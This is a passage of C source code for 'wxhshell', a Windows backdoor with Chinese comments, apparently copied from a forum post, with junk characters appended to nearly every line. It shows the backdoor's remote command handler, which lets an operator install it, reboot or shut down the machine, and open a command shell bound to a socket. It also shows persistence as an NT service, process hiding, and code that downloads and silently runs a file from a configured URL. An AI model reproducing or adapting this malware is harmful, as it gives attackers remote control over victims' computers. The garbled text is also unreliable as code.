    switch(cmd[0]) { -i2rcH  
  b|Emu!9U  
  // 帮助 .waw=C  
  case '?': { oC>J{z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lo!hyQ)  
    break; .6C/,rQ?c  
  } 3;BIwb_  
  // 安装 =;uMrb4  
  case 'i': { 7\2I>W  
    if(Install()) }-Mg&~e`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d2#NRqgQ  
    else e7@ m i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mt-r`W3 q  
    break; 1l#46?]~  
    } j@z IJ  
  // 卸载 HbA/~7  
  case 'r': { u7hu8U=  
    if(Uninstall()) j9[I6ko5'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $YEm(:v$  
    else -9t"$)&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mYgfGPF`  
    break; :IS?si5|  
    } p  lnH  
  // 显示 wxhshell 所在路径 +mVAmG@  
  case 'p': { ~?ezd0  
    char svExeFile[MAX_PATH]; l5Bm.H_  
    strcpy(svExeFile,"\n\r"); Fk/I (Q  
      strcat(svExeFile,ExeFile); p!YK~cH[  
        send(wsh,svExeFile,strlen(svExeFile),0); zx}+Q B0  
    break; !2Nk  
    } BeVDTk :  
  // 重启 <C'_:&M  
  case 'b': { /"gRyv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  80@\e  
    if(Boot(REBOOT)) Bgm8IK)6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a(A~S u97  
    else { /\/^= j  
    closesocket(wsh); QLO;D)fC  
    ExitThread(0); NLMvi!5w,  
    } ,w#lUg p  
    break; Z2$_9.  
    } `;6M|5G  
  // 关机 ?CQE6ch  
  case 'd': { _ f%s]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3s!6rT_=)d  
    if(Boot(SHUTDOWN)) ^~[7])}g6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vzg^tJ  
    else { Hloe7+5UD  
    closesocket(wsh); s0?'mC+p  
    ExitThread(0); Qt+D ,X  
    } larv6ncV  
    break; 7_1 Iadb  
    } )- 3~^Y#r_  
  // 获取shell t`K9K"|k  
  case 's': { Qjj }k)  
    CmdShell(wsh); -iDs:J4Iq  
    closesocket(wsh); kBR=a%kG  
    ExitThread(0); EE  1D>I  
    break; A?lL K&*  
  } jum"T\  
  // 退出 SF:98#pg  
  case 'x': { `Ow]@flLI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VAL? Z  
    CloseIt(wsh);  ydzsJ+dx  
    break; d*^JO4'  
    } VxN#\D i&  
  // 离开 as:l1S   
  case 'q': { &}p\&4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L }*o8l`  
    closesocket(wsh); k _V+;&:%  
    WSACleanup(); D", L.  
    exit(1); ]2@(^x'=  
    break; >`x|E-X"  
        } ^@V*:n^  
  } 1$T`j2s  
  } !.j{vvQ/  
lm4A%4-db  
  // 提示信息 'r!!W0-K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W/2y; @  
} %"H:z  
  } FFw(`[A_  
+yO) 3  
  return; 7T)y"PZ  
} kC.dJ2^j+  
mw5>[  
// shell模块句柄 CB#2XS>V  
int CmdShell(SOCKET sock) ^&YtZjV  
{ K:U=Y$x  
STARTUPINFO si; b;QgL_w  
ZeroMemory(&si,sizeof(si)); ' bl9fO4v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oT{9P?K8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u* pQVU  
PROCESS_INFORMATION ProcessInfo; eQ[akVMk  
char cmdline[]="cmd"; lu{ *]!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0BC @wV  
  return 0; oYw?kxRZ  
} R1LirZlzJ  
y ~  K8  
// 自身启动模式 0OHXg=  
int StartFromService(void) jo"nK,r  
{ $=plAi  
typedef struct 5>9Q<*   
{ U^7hw(}me  
  DWORD ExitStatus; RDbNC v#  
  DWORD PebBaseAddress; _E?tVx.6  
  DWORD AffinityMask; */K[B(G  
  DWORD BasePriority; rd->@s|4mT  
  ULONG UniqueProcessId; 66?`7j X  
  ULONG InheritedFromUniqueProcessId; ELwXp|L  
}   PROCESS_BASIC_INFORMATION; _K#7#qp2  
K7&]| ^M9  
PROCNTQSIP NtQueryInformationProcess; KcV"<9rE  
z#Jw?K_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |2^m CL.r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; = cxO@Fu  
]#M"|iTR  
  HANDLE             hProcess; e2=}qE7  
  PROCESS_BASIC_INFORMATION pbi; ']2Vf] dB  
z!6_u@^-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -4QZ/*  
  if(NULL == hInst ) return 0; LkJq Bg  
85# 3|5n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -`q!mdA2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LBG`DYR@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z\tY A  
&;ddnxFI  
  if (!NtQueryInformationProcess) return 0; zKP[]S-  
]CP5s5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A/=cGE  
  if(!hProcess) return 0; s&ox%L4  
&G%AQpDW5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i}LQ}35@  
qE2<vjRg  
  CloseHandle(hProcess); &k)+]r  
3)VO{Cj!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l atm_\  
if(hProcess==NULL) return 0;  $Z &6  
%t_'rv  
HMODULE hMod; G:b6Wf  
char procName[255]; Z6gwAvf<  
unsigned long cbNeeded; 8i "CU:(  
A&1EOQ=N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eJqx,W5MK]  
yzfiH4  
  CloseHandle(hProcess); e[x,@P`  
%GjG.11V,_  
if(strstr(procName,"services")) return 1; // 以服务启动 Aa1#Ew<r  
9Y2u/|!.3  
  return 0; // 注册表启动 O8hx}dOjA  
} }%w;@[@L  
K_U`T;Z\  
// 主模块 bzpi7LKN  
int StartWxhshell(LPSTR lpCmdLine) $]?pAqU\  
{ 27gHgz}}  
  SOCKET wsl; '*Y mYU  
BOOL val=TRUE; |8}y?kAC  
  int port=0; BpA7 z/  
  struct sockaddr_in door; N''xdz3Z  
D`n<!"xg@$  
  if(wscfg.ws_autoins) Install(); d3EN0e+^  
oa+'.b~  
port=atoi(lpCmdLine); dh]Hf,OLF  
<8%+-[(  
if(port<=0) port=wscfg.ws_port; vH6(p(l  
~C 3 Y/}  
  WSADATA data; j*8Ze!^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %zc.b  
!pe[H*Cy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XKp(31])  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2 br>{^T  
  door.sin_family = AF_INET; KX x+J}n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8u[.s`^  
  door.sin_port = htons(port); 71Q`B#t0'Z  
mn1!A`$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t`&mszd~T  
closesocket(wsl); s7E %Et  
return 1; fC^d@4ha  
} ajRht +{  
Q >yj<DR  
  if(listen(wsl,2) == INVALID_SOCKET) { m?Jnb\0  
closesocket(wsl); iU0jv7}n  
return 1; dh}"uM}a  
} L9hL@  
  Wxhshell(wsl); _j$V[=kdM/  
  WSACleanup(); X%!?\3S  
sk5=$My  
return 0; OvdBUcp[  
+:#g6(P]  
} BB,-HhYT0  
,EH-Sf2Cb  
// 以NT服务方式启动 Mf"(P.GIS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =S^vIo)  
{ kdA]gpdw  
DWORD   status = 0; 1jSmTI d  
  DWORD   specificError = 0xfffffff; jz'%(6#'gW  
]Gm&Kn >  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y edF%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LfnQcI$kO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /;TD n>lq  
  serviceStatus.dwWin32ExitCode     = 0; %LdBO1D0  
  serviceStatus.dwServiceSpecificExitCode = 0; ?~^p:T  
  serviceStatus.dwCheckPoint       = 0; " d~M \Az  
  serviceStatus.dwWaitHint       = 0;  r+]a  
Qc9[/4R>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?fU{?nI}>p  
  if (hServiceStatusHandle==0) return; ]w)uo4<^J  
(s1iYK  
status = GetLastError(); GYT0zMMf  
  if (status!=NO_ERROR) y#ON=8l  
{ K/(Z\lL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kad$Fp39  
    serviceStatus.dwCheckPoint       = 0; " H=fWz5z  
    serviceStatus.dwWaitHint       = 0; yh4%  
    serviceStatus.dwWin32ExitCode     = status; BaCzN;)  
    serviceStatus.dwServiceSpecificExitCode = specificError; >Y3zO2Cr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z1e+Ob&  
    return;  Mv%B#J  
  } >]bS"S  
dZJU>o'BG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g[{rX4~|  
  serviceStatus.dwCheckPoint       = 0; sQzr+]+#9  
  serviceStatus.dwWaitHint       = 0; CwEb ?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yK2>ou  
} sYTToanA$?  
78mJ3/?rC  
// 处理NT服务事件,比如:启动、停止 FP6Jf I8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Zg])uM]\2i  
{ 3v~}hV/RUy  
switch(fdwControl) )6he;+  
{ w/0;N`YB  
case SERVICE_CONTROL_STOP: Fw#wVs)@:  
  serviceStatus.dwWin32ExitCode = 0; xNVSWi,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n<[H!4  
  serviceStatus.dwCheckPoint   = 0; -fz(]d  
  serviceStatus.dwWaitHint     = 0; z\IZ5'  
  { ,+_gx.H2j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (n{!~'3  
  } /P{'nI  
  return; 0pe*DbYP5  
case SERVICE_CONTROL_PAUSE: 3t] 0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SMm$4h R  
  break; 3V/|"R2s  
case SERVICE_CONTROL_CONTINUE: y*sqnzgF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OdJ=4 x>  
  break; DV bY   
case SERVICE_CONTROL_INTERROGATE: "FfP&lF/  
  break; o, qBMo^.  
}; P$A'WEO'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |SsmVW$B|  
} C Yk"  
Of$gs-  
// 标准应用程序主函数 wMiRN2\^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zL:k(7E  
{ %t-}dC&  
H`U>ZJ.  
// 获取操作系统版本 6FI`0j=~  
OsIsNt=GetOsVer(); iHOvCrp+X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #mv~1tL  
4vPKDd  
  // 从命令行安装  ~\+m o  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'P >h2^z  
O%s?64^U  
  // 下载执行文件 cy_zEJjbD  
if(wscfg.ws_downexe) { ^t)alNGos  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fPsUIlI/A  
  WinExec(wscfg.ws_filenam,SW_HIDE); CY.i0  
} v/C*?/ ~  
^$\#aTyFK  
if(!OsIsNt) { -+.-Ab7  
// 如果时win9x,隐藏进程并且设置为注册表启动 H h;o<N>U  
HideProc(); R 9Y k9v  
StartWxhshell(lpCmdLine); q/\Hh9`  
} \E:l E/y  
else 2W`<P2IA  
  if(StartFromService()) {&Sr<d5  
  // 以服务方式启动 8J#TP7;  
  StartServiceCtrlDispatcher(DispatchTable); \M-$|04Qt  
else LfS]m>>e  
  // 普通方式启动 )pt#Pu  
  StartWxhshell(lpCmdLine); N Y~y:*:Q  
"/U~j4O  
return 0; []eZO_o6j  
}
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只看该作者 1 发表于: 2006-10-10
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